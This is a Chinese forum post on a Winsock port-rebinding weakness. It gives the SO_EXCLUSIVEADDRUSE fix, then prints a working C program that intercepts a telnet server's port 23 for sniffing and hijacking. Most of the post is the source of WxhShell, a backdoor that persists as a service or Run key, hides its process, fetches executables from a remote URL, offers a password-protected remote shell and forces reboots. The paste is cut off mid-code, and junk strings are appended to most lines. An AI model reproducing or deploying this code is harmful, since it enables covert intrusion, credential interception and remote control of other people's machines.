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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IwgA A)H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k#=leu"I  
Y'a(J7  
  saddr.sin_family = AF_INET; piiQ  
1\608~ZH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >'1Q"$;  
]MA)=' ~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CD<u@l,1  
sImxa`kb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2|NyAtPb5  
Zn 5m.=z  
  这意味着什么?意味着可以进行如下的攻击: XOU-8;d  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cSs/XJZ  
}9Dv\"t5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ']6#7NU  
53&xTcv}x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6exlb:  
nu9k{owB T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :ktX7p~  
e"H+sM26-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eWk2YP!  
;o@`l$O   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "N/K*  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W6/p-e5y  
]<_!@J6k  
  #include 4aGpKvW  
  #include dvWlx]'  
  #include Mc3h  R0  
  #include    MGC0^voe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lR K ?%~  
  int main() ~t3?er& R  
  { :8L61d2(  
  WORD wVersionRequested; k'q !MZU  
  DWORD ret; m1; <T@  
  WSADATA wsaData; o%>nu  
  BOOL val; vHe.+XY  
  SOCKADDR_IN saddr; 4_:e+ ql  
  SOCKADDR_IN scaddr; J& SuUh<  
  int err; 44{:UhJkx  
  SOCKET s; 2}Plr{s9  
  SOCKET sc; knZd}?I*  
  int caddsize; B=/=U7T  
  HANDLE mt; ] "vdC}  
  DWORD tid;   g#3x)97Z  
  wVersionRequested = MAKEWORD( 2, 2 ); ';!UJWYl  
  err = WSAStartup( wVersionRequested, &wsaData ); i1&noRGl  
  if ( err != 0 ) { p 8Hv7*  
  printf("error!WSAStartup failed!\n"); 2m}]z.w#  
  return -1; Yy~Dg  
  } .z7f_KX^  
  saddr.sin_family = AF_INET; [c%}L 3B  
   J@{ Bv%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .%h_W\M<l  
8>+eGz|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BeCr){,3  
  saddr.sin_port = htons(23); m,fr?d/;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #!j&L6  
  { L| qY  
  printf("error!socket failed!\n"); bbA<Zp  
  return -1; ~2 ;y4%K  
  } ?& ^l8gE  
  val = TRUE; Y mSaIf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?Ir6*ZyY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t?&ajh  
  { P9~kN|  
  printf("error!setsockopt failed!\n"); ECfY~qK  
  return -1; fP*C*4#X  
  } 8u23@?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0drc^rj !  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,FPgs0rrS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 49>yIuG  
 F<1'M#bl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2)H|/  
  { y!Eh /KD  
  ret=GetLastError();  KX@Fgs  
  printf("error!bind failed!\n"); artS*fv3r  
  return -1; FpYoCyD}  
  } u(qpdG||7  
  listen(s,2); e=C,`&s z  
  while(1) 8 F 1ga15  
  { XiUsaoQm3  
  caddsize = sizeof(scaddr); '/@VG_9L]  
  //接受连接请求 <7h'MNf&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v7RDoO]I  
  if(sc!=INVALID_SOCKET) HKf3eC  
  { [:Y^0[2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Oms`i&}"}  
  if(mt==NULL) q9Wtu7/  
  { 6Vo}Uaq4  
  printf("Thread Creat Failed!\n"); x6]?}Q>>D  
  break; /$Jh5Bv  
  } w-m2N-"= '  
  } )oCF| 2qc  
  CloseHandle(mt); dv: &N  
  } qyC"}y-  
  closesocket(s); pwQ."2x  
  WSACleanup(); ZGBcy}U(k  
  return 0; LPClE5  
  }   _;+&'=6.[  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9w|q':<  
  { 37DvI&  
  SOCKET ss = (SOCKET)lpParam; fNumY|%3  
  SOCKET sc; B;$5*3D+  
  unsigned char buf[4096]; w\a#Bfcv  
  SOCKADDR_IN saddr; UbXz`i  
  long num;  G%{jU'2  
  DWORD val; Xb {y*',  
  DWORD ret; ) eV]M~K:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6{ Eh={:b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mE1*F'0a  
  saddr.sin_family = AF_INET; xMu6PM<l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <U";V)  
  saddr.sin_port = htons(23); nDfDpP&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S45jY=)z  
  { 6kk(FVX  
  printf("error!socket failed!\n"); ~drNlt9jf  
  return -1; {WChD&v  
  } Z(cgI5Pu  
  val = 100; s5 BV8 M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >{[J+f{~|  
  { [?A0{#5)8x  
  ret = GetLastError(); 6/ )A6Tt  
  return -1; x :s-\>RcA  
  } idQr^{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qoc-ZC"<6  
  { L!5HE])<)  
  ret = GetLastError(); !{+(oDN  
  return -1; x$t=6@<]  
  } tBt\&{=|D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )DW;Gc  
  { bZ=d!)%P-{  
  printf("error!socket connect failed!\n"); e): &pqA  
  closesocket(sc); ?:,j9:m?  
  closesocket(ss); KR63W:Z\'  
  return -1; ay2.C BF  
  } ]#;JPO#*  
  while(1) BQ(`MM@  
  { &j$k58mX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y}8j_r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l)zS}"F,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8V@3T/}  
  num = recv(ss,buf,4096,0); N 6eY-`4y  
  if(num>0) I#0$5a},u^  
  send(sc,buf,num,0); 5u8 YHv  
  else if(num==0) QAr1U7{(.  
  break; 1*s Lj#  
  num = recv(sc,buf,4096,0); ><Z2uJZ4x  
  if(num>0) !.!Ervi!N  
  send(ss,buf,num,0); awUIYAgJ3  
  else if(num==0) MCvjdc3:  
  break; Ood&cP'c  
  } |&7l*j(\  
  closesocket(ss); 7@:uVowQ  
  closesocket(sc); 6D>o(b2  
  return 0 ; %',. K)IR  
  } Y|Z*|c.4OK  
*v6'I-#  
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========================================================== '_2~8w  
(%".=x-  
下边附上一个代码,,WXhSHELL _d: l1jD  
N=(rl#<  
========================================================== ibh!8"[  
1L3L!@  
#include "stdafx.h" `.@N9+Aj  
WVKzh  
#include <stdio.h> =OCHV+m  
#include <string.h> {'JoVJKv  
#include <windows.h> ^;M!u8[  
#include <winsock2.h> \S _ycn  
#include <winsvc.h> 7 'N&jI   
#include <urlmon.h> YOqBIbp~&)  
%1S;y  
#pragma comment (lib, "Ws2_32.lib") a *>$6H;  
#pragma comment (lib, "urlmon.lib") iCx}v[;Ol  
8|gwH2 st~  
#define MAX_USER   100 // 最大客户端连接数 , j7&(V~  
#define BUF_SOCK   200 // sock buffer H_Vf _p?  
#define KEY_BUFF   255 // 输入 buffer 5G|(od3  
.:E%cL +h  
#define REBOOT     0   // 重启 %kUIIH V}  
#define SHUTDOWN   1   // 关机 X180_Kt2  
VXQ~PF]z0  
#define DEF_PORT   5000 // 监听端口 A\YP}sG1  
40+~;20  
#define REG_LEN     16   // 注册表键长度 d=`hFwD9  
#define SVC_LEN     80   // NT服务名长度 a(QYc?u  
2+50ezsId  
// 从dll定义API ar }F^8Ku  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }9=VhC%J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *bsS%qD]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =XuBan3B>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g,*LP  
r$d,ChzQn?  
// wxhshell配置信息 4vC { G.  
struct WSCFG { [5yLg  
  int ws_port;         // 监听端口 .*+%-%CbP  
  char ws_passstr[REG_LEN]; // 口令 Yv\>\?865  
  int ws_autoins;       // 安装标记, 1=yes 0=no #!qa#.Yi  
  char ws_regname[REG_LEN]; // 注册表键名 ')zdI]@ M  
  char ws_svcname[REG_LEN]; // 服务名 +/E`u|%|\]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4-1=1)c*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^z>3+oi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e'Njl?>3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %|Sh|\6A!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DvhJkdLB>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [z=KHk  
ap,%)on^  
}; j\@Ht~G  
m`_s_#  
// default Wxhshell configuration 4Qwv:4La  
struct WSCFG wscfg={DEF_PORT, N;gI %6  
    "xuhuanlingzhe", H}vq2|MN  
    1, W~b->F  
    "Wxhshell", ^26vP7  
    "Wxhshell", uf q9+}  
            "WxhShell Service", |T3F:],`  
    "Wrsky Windows CmdShell Service", $^~dqmE2,  
    "Please Input Your Password: ", 7 G37V"''  
  1, +9yV'd>U  
  "http://www.wrsky.com/wxhshell.exe", "0Ca;hSLM2  
  "Wxhshell.exe" ?Pbh&!  
    }; 4}&$s  
U}hQVpP#  
// 消息定义模块 cug=k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ol#| .a2O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K%i9S;~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7UnB]-:.  
char *msg_ws_ext="\n\rExit."; ):<9j"Z;At  
char *msg_ws_end="\n\rQuit."; N./l\NtZ  
char *msg_ws_boot="\n\rReboot..."; u?xXZ]_u-  
char *msg_ws_poff="\n\rShutdown..."; [cfKvROG  
char *msg_ws_down="\n\rSave to "; ,;%F\<b  
Z2@_F7cXt  
char *msg_ws_err="\n\rErr!"; _|1m]2'9  
char *msg_ws_ok="\n\rOK!"; ^(79SOZC  
6Z ,GD  
char ExeFile[MAX_PATH]; HnlCEW,^o  
int nUser = 0; L>@:Xo@  
HANDLE handles[MAX_USER]; V;@kWE>3  
int OsIsNt; &[#iM0;)W0  
BU;o$"L  
SERVICE_STATUS       serviceStatus; Fm-D>PR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yUY* l@v]  
MqKf'6z  
// 函数声明 }[FP"#  
int Install(void); T #OrsJdu  
int Uninstall(void); ?mq<#/qb  
int DownloadFile(char *sURL, SOCKET wsh); OK8|w]-A  
int Boot(int flag); Z4VNm1qs  
void HideProc(void); VV'*3/I  
int GetOsVer(void); zLt7jxx  
int Wxhshell(SOCKET wsl); =]F;{x  
void TalkWithClient(void *cs); fg?4/]*T6  
int CmdShell(SOCKET sock); 9jkaEn>m^  
int StartFromService(void); a Byetc88/  
int StartWxhshell(LPSTR lpCmdLine); ,RXfJh  
| > t,1T.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L;%_r)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S W; %2  
Q |1-j  
// 数据结构和表定义 VC T~"T2R  
SERVICE_TABLE_ENTRY DispatchTable[] = }eLnTi{  
{ T*3>LY+bb  
{wscfg.ws_svcname, NTServiceMain}, v{2euOFE  
{NULL, NULL} ~tM+!  
}; ;l$F<CzJay  
t^')ST  
// 自我安装 n`TXm g  
int Install(void) UB9n7L(@c  
{ IUZ@n0/T  
  char svExeFile[MAX_PATH]; JlMD_pA  
  HKEY key; =jEh#  
  strcpy(svExeFile,ExeFile); bf*VY&S- T  
iVdY\+N!<  
// 如果是win9x系统,修改注册表设为自启动 /9wmc2  
if(!OsIsNt) { 6 {j}Z*)m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9vL n#_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .z6"(?~  
  RegCloseKey(key); V'Z Z4og  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~k[mowz0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZNN^  
  RegCloseKey(key); b,#lw_U"  
  return 0; #[LnDU8>9  
    } :GBM`f@  
  } r2.f8U  
} <RaUs2Q3.  
else { :`X!no; {  
:d{-"RAG"  
// 如果是NT以上系统,安装为系统服务 L5{DWm~@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kaG@T,pH(  
if (schSCManager!=0) Y Z.? k4>  
{ i"Z  
  SC_HANDLE schService = CreateService f8JWg9 m  
  ( r&0IhE  
  schSCManager, =Ul{#R z  
  wscfg.ws_svcname, "MX9h }7  
  wscfg.ws_svcdisp, 0*{ 2^\  
  SERVICE_ALL_ACCESS, ymo].  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )&pcRFl  
  SERVICE_AUTO_START, +`]AutNv  
  SERVICE_ERROR_NORMAL, % Ix   
  svExeFile, "'@>cJ=  
  NULL, 1Ax{Y#<  
  NULL, E,wOWs*  
  NULL, q1_iV.G<  
  NULL, ?VRf5 Cr-  
  NULL 2^f6@;=M  
  ); tH^]`6"QUa  
  if (schService!=0) L,7+26XV"B  
  { n=1_-)  
  CloseServiceHandle(schService); mLb>*xt$b@  
  CloseServiceHandle(schSCManager); }T1.~E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \&#IK9x{  
  strcat(svExeFile,wscfg.ws_svcname); 3<A$lG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4mM?RGWv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =+ vl+h  
  RegCloseKey(key); qC:QY6g$N  
  return 0; SpJIEw  
    } 5u=$m^@{  
  } '5; /V  
  CloseServiceHandle(schSCManager); BH3%dh :9  
} AdGDs+at,  
} B$D7}=|kc  
2R=Fc@MXs  
return 1; mK_2VZj&  
} `2l j{N  
@0[#XA_>  
// 自我卸载 IDn$w^"  
int Uninstall(void) I:=rwnd  
{ u?%FD~l:uU  
  HKEY key; O;83A  
-.t/c}a#  
if(!OsIsNt) { 1a@b-V2 d&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p"tCMB  
  RegDeleteValue(key,wscfg.ws_regname); ~9ynlVb7)r  
  RegCloseKey(key); z;Yo76P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >j6"\1E+Dz  
  RegDeleteValue(key,wscfg.ws_regname); D&-cNxh  
  RegCloseKey(key); 7 <<`9,  
  return 0; /L^pU-}Z0  
  } @wPyXl  
} 5lrjM^E|  
} wY xk[)&Y  
else { p:?h)'bA<  
kK%@cIXS3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); . /@C  
if (schSCManager!=0) m bZn[D_zi  
{ Nf!WqD*je  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cTa$t :K@  
  if (schService!=0) f~ P~%  
  { ##5e:<c&[  
  if(DeleteService(schService)!=0) { S(#v<C,hd  
  CloseServiceHandle(schService); JsK_q9]$e  
  CloseServiceHandle(schSCManager); WbJ  
  return 0; AOv>O52F/Q  
  } )Nt'Z*K*  
  CloseServiceHandle(schService); Zt ;u8O  
  } #7Jvk_r9Y  
  CloseServiceHandle(schSCManager); g+%Pg@[  
} &|I{ju_  
} 7 0Wy]8<P  
{xu~Dx  
return 1; h pKrP  
} 3DOc,}nI~@  
PM^Xh*~  
// 从指定url下载文件 b NR@d'U  
int DownloadFile(char *sURL, SOCKET wsh) r*f:%epB%  
{ on.m '-s  
  HRESULT hr; 7;@o]9W  
char seps[]= "/"; 8SOfX^;o  
char *token; v9MliD'  
char *file; F@<^  
char myURL[MAX_PATH]; aE[:9{<|  
char myFILE[MAX_PATH]; PwC^ ]e  
Y/]J0D  
strcpy(myURL,sURL); lS |:4U.  
  token=strtok(myURL,seps); 0) Q*u  
  while(token!=NULL) @r]1;KG  
  { H,Yrk(O-  
    file=token; GsiT!OP]y  
  token=strtok(NULL,seps); d6ckvD[  
  } A \-r%&.  
^2LqKo\T  
GetCurrentDirectory(MAX_PATH,myFILE); QRHM#v S  
strcat(myFILE, "\\"); oH1]-Nl$  
strcat(myFILE, file); sWFw[ Y>  
  send(wsh,myFILE,strlen(myFILE),0); \me-#: Gu  
send(wsh,"...",3,0); I>:.fHvUC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >K*TgG6!X  
  if(hr==S_OK) N4w&g-  
return 0; xM13OoU  
else Fiaeo0  
return 1; O#`y;%  
I&>5b7Uf  
} V"5LNtf  
ESi-'R&  
// 系统电源模块 $!K,5^+  
int Boot(int flag) NT<}-^  
{ Oee>d<  
  HANDLE hToken; ~`<_xIvrq  
  TOKEN_PRIVILEGES tkp; Hr/Q?7g  
Y|L]#  
  if(OsIsNt) { ?<~P)aVVj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ae'N1V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k@Bn}r  
    tkp.PrivilegeCount = 1; <^"0A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b ix}#M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^K[[:7Aem  
if(flag==REBOOT) { (5>IF,}!L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J-W8wCq`  
  return 0; >/7[HhBT  
} ]Ab$IK Y  
else { 3`{[T17  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8g6G},Y0  
  return 0; O>>%lr|  
} '/@i} digf  
  } ICUI0/J  
  else { M (.Up  
if(flag==REBOOT) { l%v2O'h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jo ~p#l.'  
  return 0; \g:Bg%43h  
} dgW/5g  
else { tV9K5ON  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Df0m  
  return 0; B8 R&Q8Q  
} bf$4Z: Y  
} CxJH)H$  
Q9sxI}D )R  
return 1; Kr74|W=  
} OB\jq!"  
ItwJL`  
// win9x进程隐藏模块 *Zz hN]1  
void HideProc(void) z+X DN:  
{ 5db9C}0  
AHdh]pfH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TbR!u:J  
  if ( hKernel != NULL ) EALgBv>#ZL  
  { (zhi/>suG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wj|[a,(r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q|kkdK|N/Y  
    FreeLibrary(hKernel); H1a<&7  
  } mW_ N-z  
]VHO'z\m  
return; #B8V2_M  
} 8? &!@3n  
fz`\-"f]  
// 获取操作系统版本  H+Se  
int GetOsVer(void) 9vJ'9Z2\  
{ uDsof?z  
  OSVERSIONINFO winfo; 75RQ\_zDu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p$zj2W+sN  
  GetVersionEx(&winfo); afj[HJbY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jt4c*0z  
  return 1; rT28q .  
  else !&@!:=X,  
  return 0; ljw>[wNv  
} D7OPFN 7`  
xGo,x+U*  
// 客户端句柄模块 kY]^~|i6  
int Wxhshell(SOCKET wsl) ky |Py  
{ I9E]zoj8  
  SOCKET wsh; Zh 3hCxXa  
  struct sockaddr_in client; KImazS^  
  DWORD myID; _Sn7z?  
+N>&b%  
  while(nUser<MAX_USER) yfCdK-9+B  
{ x /xd  
  int nSize=sizeof(client); 6qkMB|@Ix  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;-@v1I;  
  if(wsh==INVALID_SOCKET) return 1; LGF5yRk  
( | X?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WR@TH bU  
if(handles[nUser]==0) !(-S?*64l  
  closesocket(wsh); pZO`18z  
else QzX|c&&>u2  
  nUser++; 3( `NHS~h  
  } 2'5%EQW;0y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WwYy[3U  
{8Uk]   
  return 0; PcQqdU^!  
} %W:]OPURK  
@?\[M9yK  
// 关闭 socket xix: = a  
void CloseIt(SOCKET wsh)  2/v9  
{ O6Jn$'os1#  
closesocket(wsh); =&xN dc  
nUser--; uf<nVdC.  
ExitThread(0); >)p8^jX   
} |ZuS"'3_w  
XlHt(d0h  
// 客户端请求句柄 -=CZhp  
void TalkWithClient(void *cs) ilpP"B  
{ u AmDXqJ 3  
vS_Ji<W~E  
  SOCKET wsh=(SOCKET)cs; -kI;yL  
  char pwd[SVC_LEN]; |H7f@b]Sk  
  char cmd[KEY_BUFF]; ;u "BCW  
char chr[1]; jizp\%W+  
int i,j; |SfmQ;  
XAF*jevr  
  while (nUser < MAX_USER) { @XR N#_{  
HbXYinG%  
if(wscfg.ws_passstr) { F2 #s^4Ii  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c mI&R(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dZ"w2ho  
  //ZeroMemory(pwd,KEY_BUFF); N|53|H  
      i=0; xpjv @P  
  while(i<SVC_LEN) { zv}3Sl@  
ql_GN[c/  
  // 设置超时 %;-] HI  
  fd_set FdRead; m/(f?M l  
  struct timeval TimeOut; Gl@}b\TB  
  FD_ZERO(&FdRead); >azTAX6L3  
  FD_SET(wsh,&FdRead); 0v/}W(  
  TimeOut.tv_sec=8; |}Wm,J  
  TimeOut.tv_usec=0; ?ot7_vl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aH!2zC\:T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZN `D!e6  
M~jV"OF=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +J<igb!S  
  pwd=chr[0]; OPtFz6   
  if(chr[0]==0xd || chr[0]==0xa) { y6C3u5`  
  pwd=0; _)U[c;^6  
  break; O<KOsu1WW  
  } f;7I{Z\<  
  i++; ljw(cUM  
    } -mur` tC  
\p%,g& ^ x  
  // 如果是非法用户,关闭 socket 8'}D/4MUr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BhcTPQsW  
} Je1'0h9d  
8,^2'dK34  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }mx>3G{d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2:4:Q[{A  
;[,r./XmH  
while(1) { gXP)YN  
xP61^*-2  
  ZeroMemory(cmd,KEY_BUFF); Z| f~   
zD z"Dn9  
      // 自动支持客户端 telnet标准   ={]tklND  
  j=0; 2QN ~E  
  while(j<KEY_BUFF) { lI*uF~ 'D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q%Fa1h:2&  
  cmd[j]=chr[0]; N" =$S|Gs  
  if(chr[0]==0xa || chr[0]==0xd) { #vs=yR/tn{  
  cmd[j]=0; }F<=  
  break; )@,zG(t5;  
  } ObyF~j}j  
  j++; /nas~{B  
    } '] $mt  
|q+dTy_n  
  // 下载文件 Ht_7:5v&   
  if(strstr(cmd,"http://")) { |iLf;8_:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u P&<  
  if(DownloadFile(cmd,wsh)) ~qu}<u)P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^|j @' @L  
  else NB=!1;^J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'i5,2vT0  
  } ?Fp2W+M j  
  else { (BG wBL  
nSR<(-j!  
    switch(cmd[0]) { @||GMA+|  
  $z[r (a^a  
  // 帮助 k,0lA#>  
  case '?': { 2[QyH'"^E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ul!e!^qwx  
    break; (\o &Gl  
  } `\Ye:$q  
  // 安装 [+.P'6/[$R  
  case 'i': { $_orxu0W  
    if(Install()) kBr?Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Xjg/5G-  
    else ^W*3S[-`g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q35jJQ$<`  
    break; yD:}&!\}  
    } Dxp.b$0t  
  // 卸载 :9Mqwgk,;3  
  case 'r': { ,/Usyb,`  
    if(Uninstall()) }]!?t~5*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s_RUb  
    else PGNH<E)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "^&Te%x_b  
    break; ;oGpB#[zO  
    } E*G {V j  
  // 显示 wxhshell 所在路径 XZH\HK)K-]  
  case 'p': { GS&iSjw  
    char svExeFile[MAX_PATH]; Ux b>)36I  
    strcpy(svExeFile,"\n\r"); 1%Su~Z"W>  
      strcat(svExeFile,ExeFile); (>M? iB  
        send(wsh,svExeFile,strlen(svExeFile),0); ("txj[v-/  
    break; KbM1b  
    } 56 [+;*  
  // 重启 RElIWqgY  
  case 'b': { JGG(mrvR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /?_5!3KJ  
    if(Boot(REBOOT)) 07#e{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,]H2F']4Z  
    else { rJw Ws  
    closesocket(wsh); E9~}%&  
    ExitThread(0); w7`09oJm  
    } #Zj3SfU~`  
    break; Xn # v!  
    } i&Xjbcbp  
  // 关机 r31)Ed$  
  case 'd': { 5"mH6%d :8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t*(buAx  
    if(Boot(SHUTDOWN)) eYD-8*  
